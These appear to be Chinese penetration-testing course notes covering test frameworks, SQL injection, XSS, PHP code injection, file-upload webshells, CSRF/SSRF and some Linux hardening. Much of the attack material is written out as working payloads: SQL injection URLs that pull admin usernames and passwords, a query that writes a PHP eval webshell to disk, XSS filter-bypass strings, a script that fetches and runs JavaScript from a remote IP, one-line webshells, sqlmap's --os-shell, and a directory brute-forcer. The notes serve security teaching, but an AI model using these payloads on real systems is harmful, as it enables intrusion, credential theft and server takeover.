        1. 开源安全测试方法论(Open Source Security Testing Methodology Manual,OSSTMM)[http://www.isecom.org/research/osstmm.html]

        2. 信息系统安全评估框架(Information Systems Security Assessment Framework,ISSAF)[http://w.oissg.org/issaf]

        3. Web应用安全联合威胁分类(Web Application Security Consortium Threat Classification,WASC-TC)[http://projects.webapsec.org]

  3. 渗透测试流程

    1. 渗透测试执行标准(Penetration Testing Execution Standard,PTES)的先驱都是渗透测试行业的精英。这个标准有渗透测试7个阶段的标准组成,可以在任意环境中进行富有成果的渗透测试。[http://www.pentest-standard.org/index.php/Main_Page]

    2. 7个阶段:事前互动、情报搜集、威胁建模、漏洞分析、漏洞利用、深度利用、书面报告。

    3. PTES的主要特性和优势如下

      1. 它是非常全面的渗透测试框架,涵盖了渗透测试的技术方面和其他重要方面,如范围蔓延 (scope creep) 、报告,以及渗透测试人员保护自身的方法。

      2. 它介绍了多数测试任务的具体方法,可指导您准确测试目标系统的安全状态。

      3. 它汇聚了多名日行一“渗”的渗透测试专家的丰富经验。

      4. 它包含了最常用的以及很罕见的相关技术。

      5. 它浅显易懂,您可根据测试工作的需要对相应测试步骤进行调整。

  4. 通用渗透测试框架

    1. 从技术管理的角度来看,遵循正规的测试框架对安全测试极为重要。通用渗透测试框架涵盖了典型的审计测试工作和渗透测试工作会涉及到的各个阶段。

    2. 相关阶段如下:范围界定、信息搜集、目标识别、服务枚举、漏洞映射、社会工程学、漏洞利用、权限提升、访问维护、文档报告。

    3. 无论是进行白盒测试还是黑盒测试,选择和使用测试步骤都是测试人员的责任。在测试开始前,测试人员需要根据目标系统的实际环境和已掌握的相关目标系统的情况,在指定最佳的测试策略。

    4. 范围界定

      1. 在开始技术性安全评估之间,务必要观察、研究目标环境的被测范围。同时还要了解,这个范围牵扯多少个单位,是单个单位还是多个单位会参与到安全评估的工作中来,在范围界定阶段,需要考虑的典型因素如下。

      2. 测试对象是什么?

      3. 应当采取何种测试方法?

      4. 有哪些在测试过程中需要满足的条件?

      5. 哪些因素可能会限制测试执行的过程?

      6. 需要多久才能完成测试?

      7. 此次测试应当达成什么样的任务目标?

    5. 信息搜集

      1. 在划定了测试范围之后,就需要进入信息收集阶段。在这个阶段,渗透人员需要使用各种公开资源尽可能地获取测试目标的相关信息。他们从互联网上搜集信息的互联网渠道主要有:论坛|公告板|新闻组|媒体文章|博客社交网络其他商业或非商业性的网站。

      2. 此外,他们也可以借助各种搜索引擎中获取相关数据,如谷歌、雅虎、MSN必应、百度等。收集的信息主要包括DNS 服务器、路由关系、whois数据库、电子邮件地址、电话号码、个人信息以及用户账户。收集的信息越多渗透测试成功的概率越高。

    6. 目标识别

      1. 这个阶段的主要任务是识别目标的网络状态、操作系统和网络架构。该阶段工作旨在完整地展现目标网络里各种联网设备或技术的完整关系,以帮助测试人员在接下来的工作里枚举目标网络的各种服务。

    7. 服务枚举

      1. 这一阶段会根据前面各个阶段的成果,进一步找出目标系统中所有开放的端口。一旦找到了所有开放的端口,就可以通过这些端口来列出目标系统上运行的服务。主机上开放的端口都有相应的服务程序,对这些信息进行深度分析之后,可进一步发掘目标网络基础设施中可能存在的漏洞。

    8. 漏洞映射

      1. 可以根据已经发现的开放端口和服务程序,查找、分析目标系统中存在的漏洞。如果能够采用自动和手动这两种不同的测试方法结合起来,审计人员对目标系统的认知就会更为清晰、透彻,并能够仔细地检查任何已知和未知的漏洞。

    9. 社会工程学

      1. 如果目标网络没有直接的入口,欺骗的艺术将起到抛砖引玉的重要作用。对目标组织中的人员进行定向攻击,很有可能帮助我们找到渗透目标系统的入口。例如诱使用户运行安装后门的恶意程序,就可能为审计人员的渗透工作形成突破。社会工程学渗透分为多种不同实现形式。伪装成网络管理员,通过电话要求用户提供自己的账户信息;发送钓鱼邮件来劫持用户的银行账户;甚至诱使某人出现在某个地点一这些都属于社会工程学攻击。在社会工程学中,达成同一既定目标的实现方式应有尽有。需要注意的是,在对目标实施欺骗以达成渗透目标之前,多数情况下需要长时间研究目标人员的心理。另外,在开展这个阶段的工作之前,您需要实现研究过内的法律是否有关于社会工程学的相关条款。

    10. 漏洞利用

      1. 在仔细检查和发现目标系统中的漏洞之后,就可以使用已有的漏洞利用程序对目标系统进行渗透。审计人员可以把客户端漏洞利用程序和社会工程学进行结合,进而控制目标系统。这个阶段的主要任务是控制目标系统。这个流程可以分为三步,涉及攻击前、攻击、攻击后的相关行动。

    11. 权限提升

      1. 获取目标系统的控制权是渗透成功的标识。接下来,审计人员就可以根据其所拥有的访问权限,在被测系统中自由发挥。审计人员也可以使用适用于目标系统的本地漏洞来提升自己的权限。只要他们能偶在目标系统上运行提权漏洞利用程序,就可以获得主机的超级用户权限或者系统级权限。审计人员还可以以该主机为跳板,进一步攻击局域网络。根据之前渗透范围的界定,审计人员接下来会开展的攻击可能是受限制的,也可能是不受限制。然后,他们很有肯呢个以各种方式获得与控制系统有关的更多信息。具体的说,他们可能是用嗅探手段截获网络数据包,破解各种服务的密码,在局域网络中使用网络欺骗手段。所以说,提升权限的最终目的是获得目标系统的最高访问权限。

    12. 访问维护

      1. 多数情况下,审计人员需要在一段时间内维护他们对目标系统的访问权限。例如在演示越权访问目标系统的时候,安装后门将节省重新渗透目标系统所耗费的大量时间。这种情况下,访问维护将节约获取目标系统访问权限所需要的时间、花费和资源。审计人员可以通过一些秘密的通信隧道,在既定时间内维持对目标的访问权限。这些隧道往往基于特定协议、代理或者点对点方法的后门程序。这种对系统的访问方法可以清楚地展示,入侵人员在目标系统实施攻击时隐藏行踪的具体方法。

    13. 文档报告

      1. 在渗透测试的最后一个环节里,审计人员要记录、报告并现场演示那些已经识别、验证和利用了的安全漏洞。在被测单位的管理和技术团队会检查渗透时使用的方法,并会根据这些文档修补所有存在的安全漏洞。所以从道德角度来看,文档报告的工作十分重要。并为了帮助管理人员和技术人员共同理解、分析当前IT基础架构中的薄弱环节,可能需要给不同的部门撰写不同措辞的书面报告。此外,这些报告还可以用来获取和比渗透测试前后系统目标的完整性。

    14. 简化渗透测试流程

      1. 简化的渗透测试流程是在进行渗透测试过程中经常使用的流程,具体如下

        1. 明确目标:确定范围|确定规则|确定需求。

        2. 信息收集:基础信息I系统信息|应用信息|人员信息|防护信息。

        3. 漏洞探测:系统漏洞|Web服务漏洞|web应用漏洞|其他端口|通信安全。

        4. 漏洞验证:手工验证|工具验证|实验验证。

        5. 漏洞利用:定制EXP|防御绕过|进一步渗透|清理痕迹。

        6. 形成报告:整理结果|补充介绍|修复建议。

      2. 踩点、扫描、破坏攻击|渗透攻击、获得访问权|获得控制权、清除痕迹、安装后门、远程控制\转移目标\窃密破坏。

2.2 web框架安全分析

  1. 我们学习渗透测试这门课程,主要针对的是Web 应用,所以对Web 架构需要有一定的了解。

  2. Web 工作机制:网页、网站,我们可以通过浏览器上网看到的精美页面,一般都是经过浏览器演染过的.html 页面,其中包含了CSs 等前端技术。多个网页的集合就是网站。

  3. Web 容器,也叫Web 服务器,主要提供web 服务,也就是常说的HTTP 服务,常见的Web容器有: Apache/IIS/Nginx 等。

  4. 静态的网页,都是一些.html 文件,是纯文本文件。这些文件中包含html 代码。HTML (HyperText Markup Lanquage,超文本标记语言),在浏觉器中解释运行。

  5. 中间件服务器

    1. 以上这,只能单向地给用户限示信息,随着web的发展,信息要向流动,产生了交互的需求,也就是动网页的概念;所谓动态就是利用flash、PHP、ASP、java等技术在网页中嵌入一些可运行的脚本,用户浏览器在解释页面时,遇到脚本就启动运行它。

    2. 脚本的适用让web服务模式有了“双向交流”的能力,web服务模式也可以象传统软件一样进行各种业务处理,如编程文件、利息计算、提交表单等、web架构的适用面大大扩展。

    3. 这些脚本可以嵌入在页面中,如js等。也可以以文件的形式单独存放在web服务器的目录里,如asp、php、jsp文件等。这样功能性的脚本越来越多,形成常用的工具包,独立管理、web业务开发时,直接适用就可以了,这就是中间件服务器,它实际上是web服务器处理能力的扩展。

  6. 数据库出现

    1. 静态网页于脚本都市事前设计好的,一般不经常改动,但网站上很多内容需要经常的更新,如新闻、博客文章、互动游戏等,这些变动的数据房子静态的程序中显然不合适,传统的办法是数据与程序分离,采用专业的数据库。web开发者在web服务器后边增加了一个数据库服务器,这些经常变化的数据存进数据库,可以陆时更新。当用户请求页面时,脚本根据用户请求的页面,涉及到动态数据的地方,利用S0L数据库语言,从数据中读取最所的数据,生成“完整”页面,最后送给用户。

  7. HTTP 协议概述

    1. HTTP(HyperText Transfer Protocol,超文本传输协议)是浏宽器与eb 服务器之间的通信协议,是传递消息的规范和要求

    2. 1990 年提出的,当前版本1.1,HTTP 是用来将html 文档从Web 服务器传输到web 浏览器。是一个请求和响应的协议。客户发出请求,服务罄媒对请求给出回应,HTTP 使用可靠的TCP 连接,默认端口80。

    3. 支持浏览器/服务器模式。简单快速;浏览馨向服务器提出请求时,只需要传送请求方法和请求路径,灵活:HTTP 运行传输任类型的数据对象,协议是无状态的协议。

3 SQL注入

前言

  1. 简介结构化查询语言(structured QueryLanguage,缩写: SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3135-1986),1987年得到国际标准组织的支持下成为国际标准。不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。所以,实际上不同数据库系统之间的SQL不能完全相互通用。

  2. SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。

SQL 注入基础

  1. 漏洞原理

    1. 针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构达到编写程序时意料之外结果的攻击行为。其成因可以归结外一下两个原因叠加造成的:

    2. 程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SOL语句。

    3. 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

    4. 注入点可能存在的位置

    5. 根据SOL 注入漏洞的原理,在用户“可控参数”中注入SQL 语法,也就是说Web应用在获取用户数据的地方,只要带入数据库查询,都有存在SQL注入的可能,这些地方通常包括:GET数据、POST数据、HTTP头部(HTTP 请求报文其他字段)、Cookie 数据。

  2. 漏洞危害

    1. 攻击者利用SQL注入漏洞,可以获取数据库中的多种信息 (例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SOL注入漏洞直接获取webshell或者服务器系统权限。

  3. 分类

    1. SQL 注入漏洞根据不同的标准,有不同的分类。但是从数据类型分类来看,SQL中√。,章注入分为数字型和字符型。

    2. 数字型注入就是说注入点的数据,拼接到SQL语句中是以数字型出现的,即数据两边没有被单引号、双引号包括字符型注入正好相反。

    3. 根据注入手法分类,大致可分为以下几个类别。

      1. UNION query SQL injection (可联合查询注入)

      2. Error-based SQL injection (报错型注入)

      3. Boolean-based blind SQL injection (布尔型注入)

      4. Time-based blind SQL injection (基于时间延迟注入)

      5. Stacked queries SQL injection (可多语句查询注入)

    4. 注入点的判断

      1. 我们会在疑似注入点的连接或参数后面尝试提交以下数据。

  4. MYSQL 相关

    1. 本课程内容主要使用*map 环境,既然要探讨SQL注入漏洞,需要对数据库有所了解,此处以mysql为例,这里只是起到抛砖引玉的作用,其他数据库环境下的SQL注入,读者可以按照本课程的思路去学习,唯一不同的只是数据库的特性。

    2. MYSQL常用函数与参数

      and|or							# 逻辑运算符
      version()						# mysq]数据库版本
      database()						# 当前数据库名
      user()							# 用户名
      current_user()					# 当前用户名
      system_user()					# 系统用户名
      @adatadir						# 数据库路径
      @@versoin_compile_os			# 操作系统版本
      
      length()						# 返回字符串的长度
      substring()						# 截取字符串
      substr()
      mid()
      left()							# 从左侧开始取指定字符个数的字符串
      concat()						# 没有分隔符的连接字符串
      concat_ws()						# 含有分割符的连接字符串
      group_conat()					# 连接一个组的字符串
      ord()							# 返回ASCII码
      ascii()
      hex()							# 将字符串转换为十六进制
      unhex()							# hex的反向操作
      md5()							# 返回MD5值
      floor(x)						# 返回不大于x的最大整数
      round()							# 返回参数X 接近的整数
      rand()							# 返回0-1 之间的随机浮点数
      load_file()						# 读取文件,并返回文件内容作为一个字符串
      sleep()							# 睡眠时间为指定的秒数
      if(true,t,f)					# if判断
      find in_set()					# 返回字符串在字符串列表中的位置
      benchmark()						# 指定语句执行的次数
      name_const()					# 返回表作为结果
  5. 注入流程

    1. 由于关系型数据库系统,具有明显的库/表/列/内容结构层次,所以我们通过SQL注入漏洞获取数据库中信息时候,也依据这样的顺序。

    2. 首先获取数据库名,其次获取表名,然后获取列名,最后获取数据。

  6. 后台扫描器

    #!/usr/bin/python
    #-*- coding:utf-8 -*-
    import requests
    import urllib3
    urllib3.disable_warnings()
    urls = []
    def dirsearch(u,dir):
        try:
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'}
            #假的200页面进行处理
            hackxchackxchackxc = '/hackxchackxchackxc.php'
            hackxchackxchackxc_404 =requests.get(url=u+hackxchackxchackxc,headers=headers)
            # print len(hackxchackxchackxc_404.content)
            xxxxxxxxxxxx = '/xxxxxxxxxxxx'
            xxxxxxxxxxxx_404 = requests.get(url=u + xxxxxxxxxxxx, headers=headers)
            # print len(xxxxxxxxxxxx_404.content)
            #正常扫描
            req = requests.get(url=u+dir,headers=headers,timeout=3,verify=False)
            # print len(req.content)
            if req.status_code==200:
                if len(req.content)!=len(hackxchackxchackxc_404.content)and len(req.content)!= len(xxxxxxxxxxxx_404.content):
                    print "[+]",req.url
                    with open('success_dir.txt','a+')as f:
                        f.write(req.url+"\n")
                else:
                    print u+dir,404
            else:
                print u + dir, 404
        except:
            pass
    if __name__ == '__main__':
        url = raw_input('\nurl:')
        print ""
        if 'http' not in url:
            url = 'http://'+url
        dirpath = open('rar.txt','r')
        for dir in dirpath.readlines():
            dir = dir.strip()
            dirsearch(url,dir)

四大基本注入手法

联合查询

  1. 我们以url携带的参数形式注入,注入时在页码后面加上单引号或双引号来判断是否存在注入点。如果可以看到报错信息就是一个注入点,如果报错信息是引号就代表是数字注入、如果是页码就代表是字符注入。

  2. 注入时我们会发现表已确定,但是我们要差的表肯定不是这个表。所以我们要使用链表查询,我们使用联合查询来实现,应为联合查询是生成两张虚拟表union select

  3. 联合查询两张虚拟的表具有相同的列数、虚拟表对应的列的数据类型相同。我们可以使用order by来知道虚拟表的列数,然后使用数字来代替。https://172.168.1.1/cms?id=35 order by 15

  4. 我们现在知道了列数但是表在显示时,只能显示第一个表只有把第一个表的条件设为false才可以显示第二张表。https://172.168.1.1/cms?id=35 and 1=2 union select 1,2,databases(),4,5.

  5. 现在我们可以开始查表了,我们先要找到存放管理员账户的表,我们通过查询得到表名后发现不可以使用字符串的形式打印,所以我们使用16进制的形式来展示,然后再转回即可。https://172.168.1.1/cms?id=35 and 1=2 union select 1,2,hex(group_concat(table_name)),4,5 from information_schema.tables where table_schema=databases()

  6. 我们在获得的表明中找到了一个疑似管理员的表,我们将表名放入但是是以16进制的形式,来获得字段。https://172.168.1.1/cms?id=35 and 1=2 union select 1,2,hex(group_concat(table_name)),4,5 from information_schema.tables where table_schema=databases() and table_name=0x3456ad345b

  7. 接下来就可以直接查询管理员表了,https://172.168.1.1/cms?id=35 and 1=2 union select 1,2,concat(username,0x3a,password),4,5 from cms_users

报错注入

  1. 在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以进行报错注入。

  2. group by 重复键冲突?id=33 and (select 1 from(select count(*),concat((select version() from information_schema.table limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)

  3. XPATH报错

    1. extractalue()?id=33 and extractvalue(1,concat("^",(select version()),"^"))

    2. updatexml()?id=33 and updatexml(1,concat("^",(select database()),"^"),1)

布尔盲注

  1. 利用页面返回的布尔类型状态,正常或者不正常。?id=33 and length(database())=1

延时注入

  1. 利用sleep()语句的延迟性,以时间线作为判断条件。?id=33 and if((length(database())=3),sleep(5),1)

sqlmap

  1. 重要常见参数

    参数 注释
    -u 检查注入点
    --dbs 列出所有数据库的名字
    --current-db 当前数据库的名字
    -D 指定数据库
    --tables 列出所有表的名字
    -T 指定一张表
    --columns 列出所有字段的名字
    -C 指定字段
    --dump 脱库
    -u "shownews.asp" --cookie "id=2" --level2 cookie注入
    -u "url" --forms 自动检测表单
    -r post.txt 从文件读取http请求
    --os-shell 获取shell
    sqlmap -g "inurl:php?id=" 利用google自动搜索注入点

其他注入手法

  1. 文件读取

    1. 读取文件操作?id=-1 'union select 1,load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'),3 --+

    2. 写入文件操作?id=1' and 1=2 union select 1,'<?php @eval($_REQUEST[777]);?>',3 intooutfile 'c:\\phpstudy\\www\\2.php'--+,直接传入参数,页面如果不报错,说明写入成功。可以直接访问写入的文件。

  2. 宽字节注入

    1. 宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。

    2. 使用【?id=1'】进行测试的时候,发现提交的单引号会被转移[\']。此时,转义后的单引号不再时字符串的标识,会被作为普通字符带入数据库查询。 也就是说,我们提交的单引号不会影响到原来SQL语句的结构。

    3. GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。GBK编码支持国际标准ISO/IEC0646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。

    4. 转义字符[\]的编码时5c,正好在GBK编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,于5c组成一个GBK编码的汉字。这样SQL语句传入数据库的时候,转义字符5c,会被看作GBK汉字的低位字节编码,从而失去转义的作用。?id=1000%df' union select 1,2,3 --+

  3. Cookie注入

    1. Cookie注入的注入参数需要通过Cookie提交,可以通过[document.cookie]在控制台完成对浏览器Cookie的读写。document.cookie="uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#"

  4. base64注入

    1. base64注入也是比较简单的,只不过将注入字段经过base64编码。我们可以使用报错注入手法,payloaddocument.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#

  5. HTTP头部注入

    1. http头部注入就是指注入字段在HTTP头部的字段中,这些字段通常有User-Agent、Referer等。

    2. User-Agent注入:User-Agent:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

    3. Referer注入:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

4 XSS攻击

  1. XSS作为OWASP TOP 10 之一,XSS被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(Cascading Style Sheets,层叠样式脚本)重名,所以改名为XSS。XSS主要基于javascript(js)完成恶意的攻击行为。JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象”空间特别大。

  2. XSS通过将精心构造的代码注入到网页中,并由浏览器注释运行这段js代码,以达到恶意攻击的效果。当用户访问被XSS注入的网页,XSS脚本会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解释javascript,然而浏览器不会判断代码是否恶意。也就是说XSS的对象时用户和浏览器。

  3. 博客、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要北邮对用户的输入进行严格过滤,就会被XSS。

  4. XSS 漏洞的验证

    1. 我们可以用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC(Proof of Concept)。验证XSS漏洞存在的PoC。<script>alert(/xss/)</script>。如果存在就会运行代码,如果不存在会以字符的形式打印。

  5. XSS的构造

    1. 利用[<>]构造HTML标签和<script>标签。

    2. 在检测页面提交参数<h1 style="color:red">利用[<>]构造HTML/JS</h1>

  6. 伪协议

    1. 也可以使用javascript:为协议的方式构造XSS

    2. 提交参数<a href="javascript:alert(/xss/)">touch me</a>,然后点击超链接,即可触发。

  7. XSS的变形

    1. 我们可以构造的XSS代码进行各种变形,以绕过XSS过滤器的检测。

    2. 大小写转换:<Img SRc='#' Onerror="alert(/xss/)" />

    3. 回车:我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键检测<Img/sRc="#"/Onerror="alert(/xss/)"/>

  8. Shellcode的调用

    1. Shellcode就是利用漏洞所执行的代码。完整的XSS攻击,会将Shellcode存放在一定的地方,然后触发漏洞,调用Shellcode。

  9. 远程调用JS

    1. 可以将JS代码单独放在一个js文件中,然后通过http协议远程加载该脚本。如<script src="http://172.16.132.138/XSS-TEST/normal/xss.js"></script>

  10. Windows.location.hash

    1. 我们也可以使用js中的windows.location.hash方法获取浏览器URL地址栏的xss代码。?subnit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)

  11. XSS Downloader

    1. XSS 下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得也页面中的XSS代码。

      <script>
      function XSS(){
          if(window.XHLHttpRequest){
              a = new XMLHttpRequest();
          }else if (window.ActiveXObject){
              a = new ActiveXObject("Microsoft.XMMLHTTP");
          }else{return;}
          a.open("get","http://172.16.132.161/XSS/a.php",false);
          a.send();
          b=a.responseText;
          eval(unescape(b.substring(b.indexOf("BOF|")+4,b.index0f("|EOF"))));
      }    
      XSS();
      </script>
    2. 访问时需要跨域,但是有同源策略存在。我们需要使用设置请求头来解决。

      <?php
      header("Access-Control-Allow-Origin:*");
      header("Access-Control-Allow-Headers:Origin,X-Requested-With,Content-Type,Accept");
      ?>

       

XSS的分类

  1. XSS漏洞大概可以分为三个类型:反射型XSS、存储型XSS、DOM型XSS。

  2. 反射型XSS

    1. 反射型XSS时非持久性、参数型的跨站脚本。反射型XSS的js代码的Web应用的参数中,如搜索框的反射型XSS。

    2. 在搜索框中,提交PoC<script>alert(/xss/)</script>,点击搜索即可触发反射型XSS。

  3. 存储型XSS

    1. 存储型XSS是持久化跨站脚本。持久性体现在XSS代码不是在某个参数中,而是写进数据库或文件等可以永久保存数据的介质中。

  4. DOM型XSS

    1. DOM型XSS比较特殊。owasp关于DOM型号XSS的定义是基于DOM的XSS是一种XSS攻击,其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这也使得DOM XSS比较难以检测。#message=<script>alert(/xss/)</script>

XSS的防御

  1. XSS Filter的作用是过滤用户提交的有害信息,从而达到防范XSS攻击的效果。

  2. 永远不要相信用户的输入是网站开发人员的基本常识,对于用户输入一定要过滤。

  3. kali下的beef。

    /usr/share/beef-xss			# tool path
    config.yaml					# configuration file
    beef-xss					# start beef tool
    http://ip:3000/ui/panel		# web界面管理控制台
    /demos/butcher/index.html	# 测试页面

5 PHP代码注入

  1. 原理

    1. 代码执行是指应用程序锅炉不严,用户可以通过请求将代码注入到应用中执行。代码执行类似于SQL注入漏洞,SQL是将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有一个web后门的存在。

  2. 漏洞危害

    1. web应用如果存在代码执行漏洞是一件非常可怕的事情,就像一个人没有穿衣服。可以通过代码执行漏洞继承web用户权限,执行任意代码。如果具有服务器没有正确配置,web用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。

      <?php
      if(isset($_GET["code"])){
          $code=$_GET["code"];
          eval($code);
      }else{
          echo "Please submit code!<br />?code=phpinfo();";
      }
      ?>
      #####################
      # assert
      <?php
      if(isset($_GET["code"])){
          $code=$_GET["code"];
          assert($code);
      }else{
          echo "Please submit code!<br />?code=phpinfo();";
      }
      ?>

6 文件上传漏洞

  1. 漏洞概述

    1. 文件上传是web应用的必备功能之一,比如上传头像显示个性化、上传附件共享文件、上传脚本更新网站等。如果服务器配置不当或者北邮进行足够的过滤,web用户就可以上传任意文件,包括恶意脚本文件、exe程序等,这就造成了文件上传漏洞。

  2. 漏洞成因

    1. 文件上传漏洞的成因,一方面服务器配置不当会导致任意文件上传;另一方面,web应用开放了文件上传功能,并且对上床的文件没有进行足够的限制;再者就是,程序开发部署时候,没有考虑到系统特性和验证和过滤不严格而导致限制被绕过,上传任意文件。

  3. 漏洞危害

    1. 上传漏洞最直接的危害就是上传任意文件,包括可以脚本、程序等。如果web服务器所保存上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,那么直接导致服务器沦陷。同服务器下的其他网站无一幸免,均会被攻击者控制。

  4. WebShell

    1. 在计算机科学中,Shell是指为使用者提供操作界面的软件。类似于windows系统给的cmd.exe或者Linux下的bash等,虽然这些系统上的命令解析器不止一种。

    2. WebShell是一个网站的后门,也是一个命令解释器,不过是以Web方式通信,继承了web用户的权限。WebShell本质上是在服务器端可运行的脚本文件。

  5. 大马

    1. WebShell也可以是大马,也是网站木马。有一类WebShell之所以叫大马,是因为与小马区分开,并且代码比较大,但是功能比较丰富。同样,大马有很多种脚本格式,其功能基本相同。每个团队都有自己的定制大马。以下是一个简单的例子。输入密码,密码一般直接写在木马文件中。

    2. 在大马中我们可以进行文件管理,执行系统命令等,还有一些其他定制功能。

  6. 小马

    1. 小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。以下是各个脚本的一句话。

      <%eval request("cmd")%>
    2. 一句话木马短小精悍,功能强大,但是需要配个中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码。

  7. 防御、绕过、利用

    1. 文件上传的防御、文件上传的防御绕过还有利用,总是分不开的。为什么这么防?为什么这么攻击,总是相互纠缠在一起的两个问题,攻防交替。所以,下文也是以这种方式讨论文件上传的问题。

7 CSRF and SSRF

  1. 跨域请求伪造(Crooss-site request forgery,CSRF)是一种攻击,他强制终端用户在当前对其进行身份验证后的web应用程序上执行费本意的操作。

  2. CSRF攻击的着重点在伪造更改状态的请求,而不是盗取数据,因为攻击者无法查看对伪造请求的响应。

  3. 黑客会开启一个服务器,当你访问服务器的网页时,网站中加入一条银行转账请求,当你的账号正好是登录状态时,转账请求就会发送并携带你的Cookie去进行转账。

  4. 安全防御真人验证,判断发出请求的是不是真人和本人,阻止网站发送跨域请求,添加Token认证,如:微信支付平台、身份验证码。

  5. SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种攻击者发起的伪造由服务器端发起请求的一种攻击,也是常见web安全漏洞之一。

  6. SSRF危害:端口扫描、内网Web应用指纹识别、攻击内网web应用、读取本地文件。

  7. SSRF防御:限制协议、限制IP、限制端口、过滤返回信息、统一错误信息。

安全加固

Linux

1.安全加固

  1. umask值

    1. 这只默认的umask值,增强安全性,使用umask命令可以查看umask的值。

    2. 使用命令vi /etc/profile修改配置文件,添加行umask 027,即新建的文件属主读写执行权限,同组用户读和执行权限,其他用户无权限。

  2. Bash历史命令

    1. 设置Bash保留历史命令的条数,使用命令cat /etc/profile | grep HISTSIZE=cat /etc/profile | grep HISTFILESIZE=来查看保留历史纪录的条数。

    2. 使用命令vi /etc/profile修改配置文件,修改HISTSIZE=5和HISTFILESIZE=5来保留最新执行的5条命令。

  3. 登录超时

    1. 设置系统登录后,连接超时时间,增强安全性,使用命令cat /etc/profile | grep TMOUT来查看TMOUT是否被设置。

    2. 使用命令vi /etc/profile修改配置文件,添加TMOUT=180来设置3分钟超时时间,按秒计算。

  4. root路径

    1. 检查系统root用户环境变量path设置中是否包含‘.’echo $PATH,使用命令修改$PATH后面的路径vi /etc/profile

2.账户安全

  1. 禁用无用账户

    1. 减少系统无用账号,减少风险,使用命令查看口令文件cat /etc/passwd,使用命令passwd -l <username>锁定不必要的账号。

  2. 账号策略

    1. 防止口令暴力破解,降低风险,使用命令查看配置文件cat /etc/pam.d/system-auth

    2. 设置连续输错10次密码,账号锁定5分钟,使用命令vi /etc/pam.d/system-auth修改配置文件添加auth required pam_tally.so onerr=fail deny=10 unlock_time=300

  3. 检查特殊账号

    1. 查看空口令和root权限的账号,使用命令awk -F:'($2=="")' /etc/shadow查看空口令账号,使用命令awk -F:'($3==0)' /etc/passwd查看UID为零的账号。

    2. 使用命令passwd <username>为空口令账号设定密码,UID为零的账号应该只有root,设置UID方法usermod -u UID <username>

  4. 口令周期策列

    1. 加强口令的复杂程度,降低被猜解的可能性,使用命令cat /etc/login.defs | grep PASSandcat /etc/pam.d/system-auth查看密码策略设置。

    2. 使用命令vi /etc/login.defs修改配置文件,max最大天数、min最小天数、warn过期前提醒天数。

    3. chage -m 0 -M 30 -E 2023-01-01 -W 7 <username>,将此用户的密码最长使用天数设为30,最短使用天数设为0,账号2023-01-01日过期,过期前7天里警告用户。

  5. 口令复杂度策略

    1. 使用命令cat /etc/pam.d/system-auth | grep pam-cracklib.so查看密码复杂度策略设置。

    2. 建议在/etc/pam.d/system-auth文件中配置:password requisite pam_cracklib.so difok=3 minlen=8 ucredit=1 lcredit=-1 dcredit=-1,至少8位,包含一位大写字母,一位小写字母和一位数字。

  6. 限制root远程登录

    1. 限制root远程telnet登录,使用命令cat /etc/securetty | grep CONSOLE 查看是否禁止root远程登录。

    2. 编辑vi /etc/securetty文件,修改CONSOLE = /dev/tty01

  7. 检查Grub/Lilo密码

    1. 查看系统引导管理器是否设置密码,使用命令cat /etc/grub.conf | grep password查看grub是否设置密码,使用命令cat /etc/lilo.conf | grep password 查看lilo是否设置密码。

    2. 编辑vi /etc/grub.conf的splashimage这个参数下一行添加:passwoord密码,如果需要md5加密,可以添加一行:password --md5 密码。编辑vi /etc/lilo.conf的password=密码。

  8. SNMP团体字

